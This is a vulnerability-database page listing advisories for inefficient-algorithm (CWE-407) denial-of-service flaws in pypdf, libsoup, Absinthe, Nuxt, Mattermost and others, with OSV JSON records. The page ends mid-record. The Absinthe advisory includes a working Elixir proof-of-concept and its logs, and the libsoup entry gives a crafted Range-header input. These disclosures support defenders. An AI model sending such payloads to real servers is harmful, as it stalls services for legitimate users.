CWE-407
Allowed-with-ReviewInefficient Algorithmic Complexity
Abstraction: Class · Status: Incomplete
An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.
281 vulnerabilities reference this CWE, most recent first.
GHSA-9M86-7PMV-2852
Vulnerability from github – Published: 2026-03-02 22:03 – Updated: 2026-03-06 21:56Impact
An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires accessing a stream which uses the /ASCIIHexDecode filter.
Patches
This has been fixed in pypdf==6.7.5.
Workarounds
If you cannot upgrade yet, consider applying the changes from PR #3666.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pypdf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.7.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28804"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-02T22:03:45Z",
"nvd_published_at": "2026-03-06T07:16:01Z",
"severity": "MODERATE"
},
"details": "### Impact\nAn attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires accessing a stream which uses the `/ASCIIHexDecode` filter.\n\n### Patches\nThis has been fixed in [pypdf==6.7.5](https://github.com/py-pdf/pypdf/releases/tag/6.7.5).\n\n### Workarounds\nIf you cannot upgrade yet, consider applying the changes from PR [#3666](https://github.com/py-pdf/pypdf/pull/3666).",
"id": "GHSA-9m86-7pmv-2852",
"modified": "2026-03-06T21:56:41Z",
"published": "2026-03-02T22:03:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-9m86-7pmv-2852"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28804"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/pull/3666"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/commit/648c627d2657447dfb1773412af05a0a5103b98f"
},
{
"type": "PACKAGE",
"url": "https://github.com/py-pdf/pypdf"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/releases/tag/6.7.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "pypdf vulnerable to inefficient decoding of ASCIIHexDecode streams"
}
GHSA-9M98-W4QJ-8F6Q
Vulnerability from github – Published: 2026-08-25 21:31 – Updated: 2026-08-25 21:31An algorithmic complexity flaw exists in libsoup's HTTP Range header processing that persists after the CVE-2025-32907 fix.
CVE-2025-32907 addressed memory amplification when a client repeated the same range many times in a single Range header. Commit 9bb92f7a corrected merge correctness in soup_message_headers_get_ranges_internal() in libsoup/soup-message-headers.c, but the coalescing loop still removes merged ranges using g_array_remove_index() for each coalesced element. Because GArray is contiguous, each mid-array removal performs an O(N) memmove. When many identical satisfiable ranges are supplied (for example bytes=0-0 repeated thousands of times), the loop performs O(N²) work coalescing them into a single range.
The vulnerable path is reachable server-side from handle_partial_get() in libsoup/server/http1/soup-server-message-io-http1.c when a SoupServer handler returns HTTP 200 with a non-empty body. No authentication is required. The number of ranges is bounded only by the maximum request header size (~100 KiB), allowing roughly 25,000 ranges per request. Reporter measurements on libsoup HEAD containing the CVE-2025-32907 fix show ~90 ms single-core CPU per such request at the wire maximum, blocking the server's event loop for that duration.
This is a CPU exhaustion / availability issue only. No memory corruption or information disclosure occurs.
Affected: libsoup versions containing the CVE-2025-32907 fix but not merge request !550. Fixed upstream: MR !550 merged 2026-08-20, replacing per-element removal with O(N) in-place compaction and rejecting Range headers requesting more than 200 ranges. Upstream report: https://gitlab.gnome.org/GNOME/libsoup/-/issues/538 Related: CVE-2025-32907
{
"affected": [],
"aliases": [
"CVE-2026-77680"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-25T21:17:46Z",
"severity": "MODERATE"
},
"details": "An algorithmic complexity flaw exists in libsoup\u0027s HTTP Range header processing that persists after the CVE-2025-32907 fix.\n\nCVE-2025-32907 addressed memory amplification when a client repeated the same range many times in a single Range header. Commit 9bb92f7a corrected merge correctness in soup_message_headers_get_ranges_internal() in libsoup/soup-message-headers.c, but the coalescing loop still removes merged ranges using g_array_remove_index() for each coalesced element. Because GArray is contiguous, each mid-array removal performs an O(N) memmove. When many identical satisfiable ranges are supplied (for example bytes=0-0 repeated thousands of times), the loop performs O(N\u00b2) work coalescing them into a single range.\n\nThe vulnerable path is reachable server-side from handle_partial_get() in libsoup/server/http1/soup-server-message-io-http1.c when a SoupServer handler returns HTTP 200 with a non-empty body. No authentication is required. The number of ranges is bounded only by the maximum request header size (~100 KiB), allowing roughly 25,000 ranges per request. Reporter measurements on libsoup HEAD containing the CVE-2025-32907 fix show ~90 ms single-core CPU per such request at the wire maximum, blocking the server\u0027s event loop for that duration.\n\nThis is a CPU exhaustion / availability issue only. No memory corruption or information disclosure occurs.\n\nAffected: libsoup versions containing the CVE-2025-32907 fix but not merge request !550.\nFixed upstream: MR !550 merged 2026-08-20, replacing per-element removal with O(N) in-place compaction and rejecting Range headers requesting more than 200 ranges.\nUpstream report: https://gitlab.gnome.org/GNOME/libsoup/-/issues/538\nRelated: CVE-2025-32907",
"id": "GHSA-9m98-w4qj-8f6q",
"modified": "2026-08-25T21:31:32Z",
"published": "2026-08-25T21:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77680"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2025-32907"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-77680"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2520892"
},
{
"type": "WEB",
"url": "https://gitlab.gnome.org/GNOME/libsoup/-/issues/538"
},
{
"type": "WEB",
"url": "https://gitlab.gnome.org/GNOME/libsoup/-/merge_requests/550"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-9MHV-8H52-Q7Q2
Vulnerability from github – Published: 2026-05-14 13:08 – Updated: 2026-05-14 13:08Summary
An unauthenticated attacker can stall an Absinthe-backed GraphQL endpoint by submitting a query that contains many fragment definitions. The fragment-name uniqueness validation phase is O(N²) in the number of fragments, so a single modestly-sized request burns seconds of CPU per worker, and sustained traffic exhausts the worker pool (denial of service).
Introduced like with https://github.com/absinthe-graphql/absinthe/commit/0b46e3bcc06c0d3797bacd64761b908a84646c1d#diff-e540120c6a98cc1013be110d08e9d029511b9aabd26ad5f7f643c36834caac14
Details
Absinthe.Phase.Document.Validation.UniqueFragmentNames (lib/absinthe/phase/document/validation/unique_fragment_names.ex:14-40) walks every fragment in input.fragments via run/2, calling process/2 on each one. process/2 then calls duplicate?/2, which evaluates Enum.count(fragments, fn f -> f.name == name end) — a full linear scan of the fragment list — for every individual fragment. The result is N · N name comparisons per document.
input.fragments is built directly from the GraphQL query text the caller sends at the head of the pipeline, so N is attacker-controlled. A minimum-size fragment definition (fragment a on T{f}) is roughly 16 bytes, so a ~1 MB document carries ~60 000 fragments and forces ~3.6 × 10⁹ comparisons inside this one phase. Phoenix's default 8 MB body limit allows substantially larger blow-ups if operators have not lowered it. Nothing in this module caps N.
The fix is to aggregate names once per call rather than re-scanning per fragment, e.g.:
dups =
for {name, k} <- Enum.frequencies_by(input.fragments, & &1.name),
k > 1,
into: MapSet.new(),
do: name
and then check MapSet.member?(dups, fragment.name) inside process/2. That collapses the phase to O(N).
PoC
A standalone script that builds a GraphQL document with a large number of minimal fragment definitions, feeds it through Absinthe's pipeline, and times the UniqueFragmentNames phase is attached at the end of this report. Running it shows the validation time growing quadratically with the fragment count.
Impact
Algorithmic complexity / denial-of-service. Any service that exposes an Absinthe GraphQL endpoint to untrusted callers is affected: a single unauthenticated POST containing many fragment definitions pins a worker process for seconds, and modest sustained traffic exhausts the request-handling pool. No authentication, schema knowledge, or special configuration is required — only the ability to send a GraphQL query large enough to contain many fragments, which is permitted by Phoenix's default body-size limit.
Scripts and Logs
# Verifies: Quadratic fragment-name uniqueness check
Mix.install([
{:absinthe, "~> 1.7"},
{:absinthe_plug, "~> 1.5"},
{:bandit, "~> 1.0"},
{:plug, "~> 1.15"},
{:jason, "~> 1.4"},
{:req, "~> 0.5"}
])
defmodule VictimSchema do
use Absinthe.Schema
object :thing do
field :f, :string
end
query do
field :thing, :thing do
resolve(fn _, _ -> {:ok, %{f: "x"}} end)
end
end
end
defmodule VictimRouter do
use Plug.Router
plug :match
plug Plug.Parsers,
parsers: [:json],
pass: ["*/*"],
json_decoder: Jason
plug :dispatch
forward "/graphql",
to: Absinthe.Plug,
init_opts: [schema: VictimSchema]
match _ do
send_resp(conn, 404, "nope")
end
end
port = 47817
{:ok, _} = Bandit.start_link(plug: VictimRouter, port: port)
n = 20_000
fragments =
1..n
|> Enum.map(fn i -> "fragment f#{i} on Thing{f}" end)
|> Enum.join(" ")
query = "{ thing { f } } " <> fragments
IO.puts(
"Sending GraphQL document with #{n} fragment definitions (~#{div(byte_size(query), 1024)} KB) to 127.0.0.1:#{port}"
)
{us, response} =
:timer.tc(fn ->
Req.post!("http://127.0.0.1:#{port}/graphql",
json: %{query: query},
receive_timeout: 600_000,
retry: false
)
end)
ms = div(us, 1000)
IO.puts("HTTP response status: #{response.status}")
IO.puts("Total request elapsed (validation-dominated): #{ms} ms")
result =
if ms > 1000 do
"VERIFIED: ~#{n} fragments in one unauthenticated request forced #{ms} ms of CPU in Absinthe's UniqueFragmentNames phase (quadratic check)."
else
"NOT VERIFIED: elapsed #{ms} ms below DoS threshold"
end
IO.puts(result)
Logs
HTTP response status: 200
Total request elapsed (validation-dominated): 15451 ms
VERIFIED: ~20000 fragments in one unauthenticated request forced 15451 ms of CPU in Absinthe's UniqueFragmentNames phase (quadratic check).
{
"affected": [
{
"package": {
"ecosystem": "Hex",
"name": "absinthe"
},
"ranges": [
{
"events": [
{
"introduced": "1.2.0"
},
{
"fixed": "1.10.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-43967"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T13:08:44Z",
"nvd_published_at": "2026-05-08T16:16:12Z",
"severity": "HIGH"
},
"details": "### Summary\nAn unauthenticated attacker can stall an Absinthe-backed GraphQL endpoint by submitting a query that contains many fragment definitions. The fragment-name uniqueness validation phase is O(N\u00b2) in the number of fragments, so a single modestly-sized request burns seconds of CPU per worker, and sustained traffic exhausts the worker pool (denial of service).\n\nIntroduced like with https://github.com/absinthe-graphql/absinthe/commit/0b46e3bcc06c0d3797bacd64761b908a84646c1d#diff-e540120c6a98cc1013be110d08e9d029511b9aabd26ad5f7f643c36834caac14\n\n### Details\n`Absinthe.Phase.Document.Validation.UniqueFragmentNames` (`lib/absinthe/phase/document/validation/unique_fragment_names.ex:14-40`) walks every fragment in `input.fragments` via `run/2`, calling `process/2` on each one. `process/2` then calls `duplicate?/2`, which evaluates `Enum.count(fragments, fn f -\u003e f.name == name end)` \u2014 a full linear scan of the fragment list \u2014 for every individual fragment. The result is `N \u00b7 N` name comparisons per document.\n\n`input.fragments` is built directly from the GraphQL query text the caller sends at the head of the pipeline, so `N` is attacker-controlled. A minimum-size fragment definition (`fragment a on T{f}`) is roughly 16 bytes, so a ~1 MB document carries ~60 000 fragments and forces ~3.6 \u00d7 10\u2079 comparisons inside this one phase. Phoenix\u0027s default 8 MB body limit allows substantially larger blow-ups if operators have not lowered it. Nothing in this module caps `N`.\n\nThe fix is to aggregate names once per call rather than re-scanning per fragment, e.g.:\n\n```elixir\ndups =\n for {name, k} \u003c- Enum.frequencies_by(input.fragments, \u0026 \u00261.name),\n k \u003e 1,\n into: MapSet.new(),\n do: name\n```\n\nand then check `MapSet.member?(dups, fragment.name)` inside `process/2`. That collapses the phase to O(N).\n\n### PoC\nA standalone script that builds a GraphQL document with a large number of minimal fragment definitions, feeds it through Absinthe\u0027s pipeline, and times the `UniqueFragmentNames` phase is attached at the end of this report. Running it shows the validation time growing quadratically with the fragment count.\n\n### Impact\nAlgorithmic complexity / denial-of-service. Any service that exposes an Absinthe GraphQL endpoint to untrusted callers is affected: a single unauthenticated POST containing many fragment definitions pins a worker process for seconds, and modest sustained traffic exhausts the request-handling pool. No authentication, schema knowledge, or special configuration is required \u2014 only the ability to send a GraphQL query large enough to contain many fragments, which is permitted by Phoenix\u0027s default body-size limit.\n\n## Scripts and Logs\n\n```elixir\n# Verifies: Quadratic fragment-name uniqueness check\n\nMix.install([\n {:absinthe, \"~\u003e 1.7\"},\n {:absinthe_plug, \"~\u003e 1.5\"},\n {:bandit, \"~\u003e 1.0\"},\n {:plug, \"~\u003e 1.15\"},\n {:jason, \"~\u003e 1.4\"},\n {:req, \"~\u003e 0.5\"}\n])\n\ndefmodule VictimSchema do\n use Absinthe.Schema\n\n object :thing do\n field :f, :string\n end\n\n query do\n field :thing, :thing do\n resolve(fn _, _ -\u003e {:ok, %{f: \"x\"}} end)\n end\n end\nend\n\ndefmodule VictimRouter do\n use Plug.Router\n\n plug :match\n\n plug Plug.Parsers,\n parsers: [:json],\n pass: [\"*/*\"],\n json_decoder: Jason\n\n plug :dispatch\n\n forward \"/graphql\",\n to: Absinthe.Plug,\n init_opts: [schema: VictimSchema]\n\n match _ do\n send_resp(conn, 404, \"nope\")\n end\nend\n\nport = 47817\n{:ok, _} = Bandit.start_link(plug: VictimRouter, port: port)\n\nn = 20_000\n\nfragments =\n 1..n\n |\u003e Enum.map(fn i -\u003e \"fragment f#{i} on Thing{f}\" end)\n |\u003e Enum.join(\" \")\n\nquery = \"{ thing { f } } \" \u003c\u003e fragments\n\nIO.puts(\n \"Sending GraphQL document with #{n} fragment definitions (~#{div(byte_size(query), 1024)} KB) to 127.0.0.1:#{port}\"\n)\n\n{us, response} =\n :timer.tc(fn -\u003e\n Req.post!(\"http://127.0.0.1:#{port}/graphql\",\n json: %{query: query},\n receive_timeout: 600_000,\n retry: false\n )\n end)\n\nms = div(us, 1000)\nIO.puts(\"HTTP response status: #{response.status}\")\nIO.puts(\"Total request elapsed (validation-dominated): #{ms} ms\")\n\nresult =\n if ms \u003e 1000 do\n \"VERIFIED: ~#{n} fragments in one unauthenticated request forced #{ms} ms of CPU in Absinthe\u0027s UniqueFragmentNames phase (quadratic check).\"\n else\n \"NOT VERIFIED: elapsed #{ms} ms below DoS threshold\"\n end\n\nIO.puts(result)\n```\n\n\n### Logs\n\n```logs\nHTTP response status: 200\nTotal request elapsed (validation-dominated): 15451 ms\nVERIFIED: ~20000 fragments in one unauthenticated request forced 15451 ms of CPU in Absinthe\u0027s UniqueFragmentNames phase (quadratic check).\n```",
"id": "GHSA-9mhv-8h52-q7q2",
"modified": "2026-05-14T13:08:44Z",
"published": "2026-05-14T13:08:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/absinthe-graphql/absinthe/security/advisories/GHSA-9mhv-8h52-q7q2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43967"
},
{
"type": "WEB",
"url": "https://github.com/absinthe-graphql/absinthe/commit/223600c520493dcaf95080af552c413099f92c9d"
},
{
"type": "WEB",
"url": "https://cna.erlef.org/cves/CVE-2026-43967.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/absinthe-graphql/absinthe"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-43967"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Absinthe: Quadratic fragment-name uniqueness check"
}
GHSA-9PGF-384G-P7MV
Vulnerability from github – Published: 2026-08-05 21:43 – Updated: 2026-08-05 21:43Impact
The internal island renderer endpoint (/__nuxt_island/...) decodes and hashes attacker-controlled request input before it validates the URL-resident hash. An unauthenticated POST /__nuxt_island/<name>_<anything>.json with a large JSON body (for example ~4.6 MB / 150k keys) is fully read, destr-parsed, and run through ohash before the request is rejected with a 400. Because Nitro runs on a single event loop, this both wastes CPU on the doomed request and delays every concurrent request. A low request rate is enough to degrade or stall the server. No valid hash and no authentication are required.
Patches
Fixed in nuxt@4.5.1 and nuxt@3.21.10. The island handler now enforces a raw body-size cap (413) and a JSON nesting-depth cap (400) before parsing or hashing, so oversized or deeply nested input is rejected cheaply.
Workarounds
Put a small request-body limit in front of /__nuxt_island/ at your reverse proxy / edge (islands legitimately send only a compact props payload), or disable server components if unused.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "nuxt"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.5.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "nuxt"
},
"ranges": [
{
"events": [
{
"introduced": "3.1.0"
},
{
"fixed": "3.21.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-71321"
],
"database_specific": {
"cwe_ids": [
"CWE-407",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-05T21:43:03Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n\nThe internal island renderer endpoint (`/__nuxt_island/...`) decodes and hashes attacker-controlled request input before it validates the URL-resident hash. An unauthenticated `POST /__nuxt_island/\u003cname\u003e_\u003canything\u003e.json` with a large JSON body (for example ~4.6 MB / 150k keys) is fully read, `destr`-parsed, and run through `ohash` before the request is rejected with a 400. Because Nitro runs on a single event loop, this both wastes CPU on the doomed request and delays every concurrent request. A low request rate is enough to degrade or stall the server. No valid hash and no authentication are required.\n\n### Patches\n\nFixed in `nuxt@4.5.1` and `nuxt@3.21.10`. The island handler now enforces a raw body-size cap (`413`) and a JSON nesting-depth cap (`400`) before parsing or hashing, so oversized or deeply nested input is rejected cheaply.\n\n### Workarounds\n\nPut a small request-body limit in front of `/__nuxt_island/` at your reverse proxy / edge (islands legitimately send only a compact props payload), or disable server components if unused.",
"id": "GHSA-9pgf-384g-p7mv",
"modified": "2026-08-05T21:43:03Z",
"published": "2026-08-05T21:43:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/security/advisories/GHSA-9pgf-384g-p7mv"
},
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/commit/4e35ae9babd94be53246e31200232d48438bb34e"
},
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/commit/668cdfdfda41849ed11c1ee5e2067a11fc103b22"
},
{
"type": "PACKAGE",
"url": "https://github.com/nuxt/nuxt"
},
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/releases/tag/v3.21.10"
},
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/releases/tag/v4.5.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Nuxt: Unauthenticated CPU exhaustion parsing and hashing the Nuxt island endpoint body before hash validation"
}
GHSA-9R42-RHW3-2222
Vulnerability from github – Published: 2026-01-16 09:31 – Updated: 2026-02-27 22:05Mattermost versions 10.11.x <= 10.11.8 fail to validate input size before processing hashtags which allows an authenticated attacker to exhaust CPU resources via a single HTTP request containing a post with thousands space-separated tokens.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 10.11.8"
},
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost-server"
},
"ranges": [
{
"events": [
{
"introduced": "10.11.0"
},
{
"fixed": "10.11.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost-server"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"fixed": "11.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-14822"
],
"database_specific": {
"cwe_ids": [
"CWE-407",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-16T20:54:02Z",
"nvd_published_at": "2026-01-16T09:16:01Z",
"severity": "LOW"
},
"details": "Mattermost versions 10.11.x \u003c= 10.11.8 fail to validate input size before processing hashtags which allows an authenticated attacker to exhaust CPU resources via a single HTTP request containing a post with thousands space-separated tokens.",
"id": "GHSA-9r42-rhw3-2222",
"modified": "2026-02-27T22:05:20Z",
"published": "2026-01-16T09:31:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14822"
},
{
"type": "WEB",
"url": "https://github.com/mattermost/mattermost/commit/4d86263f5430d0eb991fc52ec886cf778cb072e6"
},
{
"type": "WEB",
"url": "https://github.com/mattermost/mattermost/commit/b3d6c0c564c1a79e54e5105d0a8b60fc58a2bdee"
},
{
"type": "PACKAGE",
"url": "https://github.com/mattermost/mattermost"
},
{
"type": "WEB",
"url": "https://mattermost.com/security-updates"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2026-4325"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Mattermost is vulnerable to CPU exhaustion via crafted HTTP request"
}
GHSA-9W75-CVCH-H753
Vulnerability from github – Published: 2026-08-20 00:35 – Updated: 2026-08-20 00:35In Splunk Connect for Kafka versions below 2.2.7, an unauthenticated user who can reach the Kafka Connect Representational State Transfer (REST) API could configure timestamp extraction with a crafted regular expression and matching event data to block a Kafka Connect worker thread, stopping event delivery for the affected connector. The vulnerability is possible because timestamp extraction evaluates customer-supplied regular expressions without a time limit. For more information see Install Splunk Connect for Kafka (https://help.splunk.com/en/data-management/integrate-data-with-add-ons/splunk-connect-for-kafka/2.2/install/install-splunk-connect-for-kafka) and Data ingestion parameters for Splunk Connect for Kafka (https://help.splunk.com/en/data-management/integrate-data-with-add-ons/splunk-connect-for-kafka/2.2/overview/data-ingestion-parameters-for-splunk-connect-for-kafka) in the Splunk documentation.
{
"affected": [],
"aliases": [
"CVE-2026-76401"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-19T22:17:26Z",
"severity": "MODERATE"
},
"details": "In Splunk Connect for Kafka versions below 2.2.7, an unauthenticated user who can reach the Kafka Connect Representational State Transfer (REST) API could configure timestamp extraction with a crafted regular expression and matching event data to block a Kafka Connect worker thread, stopping event delivery for the affected connector. The vulnerability is possible because timestamp extraction evaluates customer-supplied regular expressions without a time limit. For more information see Install Splunk Connect for Kafka (https://help.splunk.com/en/data-management/integrate-data-with-add-ons/splunk-connect-for-kafka/2.2/install/install-splunk-connect-for-kafka) and Data ingestion parameters for Splunk Connect for Kafka (https://help.splunk.com/en/data-management/integrate-data-with-add-ons/splunk-connect-for-kafka/2.2/overview/data-ingestion-parameters-for-splunk-connect-for-kafka) in the Splunk documentation.",
"id": "GHSA-9w75-cvch-h753",
"modified": "2026-08-20T00:35:07Z",
"published": "2026-08-20T00:35:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76401"
},
{
"type": "WEB",
"url": "https://advisory.splunk.com/advisories/SVD-2026-0808"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C2FH-M553-M5HP
Vulnerability from github – Published: 2022-05-14 01:14 – Updated: 2022-05-14 01:14The parse() method in the Email::Address module through 1.909 for Perl is vulnerable to Algorithmic complexity on specially prepared input, leading to Denial of Service. Prepared special input that caused this problem contained 30 form-field characters ("\f").
{
"affected": [],
"aliases": [
"CVE-2018-12558"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-06-20T14:29:00Z",
"severity": "HIGH"
},
"details": "The parse() method in the Email::Address module through 1.909 for Perl is vulnerable to Algorithmic complexity on specially prepared input, leading to Denial of Service. Prepared special input that caused this problem contained 30 form-field characters (\"\\f\").",
"id": "GHSA-c2fh-m553-m5hp",
"modified": "2022-05-14T01:14:04Z",
"published": "2022-05-14T01:14:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-12558"
},
{
"type": "WEB",
"url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=901873"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00012.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2018/06/19/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C2PC-G5QF-RFRF
Vulnerability from github – Published: 2024-12-09 20:42 – Updated: 2024-12-09 20:42Impact
Several polynomial time complexity issues in league/commonmark may lead to unbounded resource exhaustion and subsequent denial of service.
Malicious users could trigger that inefficient code with carefully crafted Markdown inputs that are specifically designed to ensure the worst-case performance is reached. Sending multiple such requests in parallel could tie up all available CPU resources and/or PHP-FPM processes, leading to denial of service for legitimate users.
Patches
These vulnerabilities have been patched in version 2.6.0. All users on older versions are highly encouraged to upgrade as soon as possible.
Workarounds
If you cannot upgrade, you may be able to mitigate the issues by:
- Setting very low
memory_limitandmax_execution_timePHP configurations to prevent runaway resource usage - Implementing rate-limiting, bot protection, or other approaches to reduce the risk of simultaneous bad requests hitting your site
- Limiting the size of inputs fed into this library (specifically the max length of each line)
- Limiting the use of this library to trusted users
References
Most of these issues were discovered in other Markdown parsers. You can read more about them here:
- https://github.com/commonmark/commonmark.js/issues/129
- https://github.com/commonmark/commonmark.js/issues/157
- https://github.com/commonmark/commonmark.js/issues/172
- https://github.com/github/cmark-gfm/security/advisories/GHSA-r572-jvj2-3m8p
- https://github.com/github/cmark-gfm/security/advisories/GHSA-24f7-9frr-5h2r
- https://github.com/github/cmark-gfm/security/advisories/GHSA-29g3-96g3-jg6c
- https://github.com/github/cmark-gfm/security/advisories/GHSA-r8vr-c48j-fcc5
- https://github.com/github/cmark-gfm/security/advisories/GHSA-w4qg-3vf7-m9x5
- https://github.com/github/cmark-gfm/security/advisories/GHSA-66g8-4hjf-77xh
For general information about this type of issue:
- https://en.wikipedia.org/wiki/Time_complexity
- https://cwe.mitre.org/data/definitions/407.html
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "league/commonmark"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-09T20:42:07Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n\nSeveral polynomial time complexity issues in league/commonmark may lead to unbounded resource exhaustion and subsequent denial of service.\n\nMalicious users could trigger that inefficient code with carefully crafted Markdown inputs that are specifically designed to ensure the worst-case performance is reached. Sending multiple such requests in parallel could tie up all available CPU resources and/or PHP-FPM processes, leading to denial of service for legitimate users.\n\n### Patches\n\nThese vulnerabilities have been patched in version 2.6.0. All users on older versions are highly encouraged to upgrade as soon as possible.\n\n### Workarounds\n\nIf you cannot upgrade, you may be able to mitigate the issues by:\n\n- Setting very low `memory_limit` and `max_execution_time` PHP configurations to prevent runaway resource usage\n- Implementing rate-limiting, bot protection, or other approaches to reduce the risk of simultaneous bad requests hitting your site\n- Limiting the size of inputs fed into this library (specifically the max length of each line)\n- Limiting the use of this library to trusted users\n\n### References\n\nMost of these issues were discovered in other Markdown parsers. You can read more about them here:\n\n* https://github.com/commonmark/commonmark.js/issues/129\n* https://github.com/commonmark/commonmark.js/issues/157\n* https://github.com/commonmark/commonmark.js/issues/172\n* https://github.com/github/cmark-gfm/security/advisories/GHSA-r572-jvj2-3m8p\n* https://github.com/github/cmark-gfm/security/advisories/GHSA-24f7-9frr-5h2r\n* https://github.com/github/cmark-gfm/security/advisories/GHSA-29g3-96g3-jg6c\n* https://github.com/github/cmark-gfm/security/advisories/GHSA-r8vr-c48j-fcc5\n* https://github.com/github/cmark-gfm/security/advisories/GHSA-w4qg-3vf7-m9x5\n* https://github.com/github/cmark-gfm/security/advisories/GHSA-66g8-4hjf-77xh\n\nFor general information about this type of issue:\n\n* https://en.wikipedia.org/wiki/Time_complexity\n* https://cwe.mitre.org/data/definitions/407.html\n",
"id": "GHSA-c2pc-g5qf-rfrf",
"modified": "2024-12-09T20:42:08Z",
"published": "2024-12-09T20:42:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/github/cmark-gfm/security/advisories/GHSA-24f7-9frr-5h2r"
},
{
"type": "WEB",
"url": "https://github.com/github/cmark-gfm/security/advisories/GHSA-29g3-96g3-jg6c"
},
{
"type": "WEB",
"url": "https://github.com/github/cmark-gfm/security/advisories/GHSA-66g8-4hjf-77xh"
},
{
"type": "WEB",
"url": "https://github.com/github/cmark-gfm/security/advisories/GHSA-r572-jvj2-3m8p"
},
{
"type": "WEB",
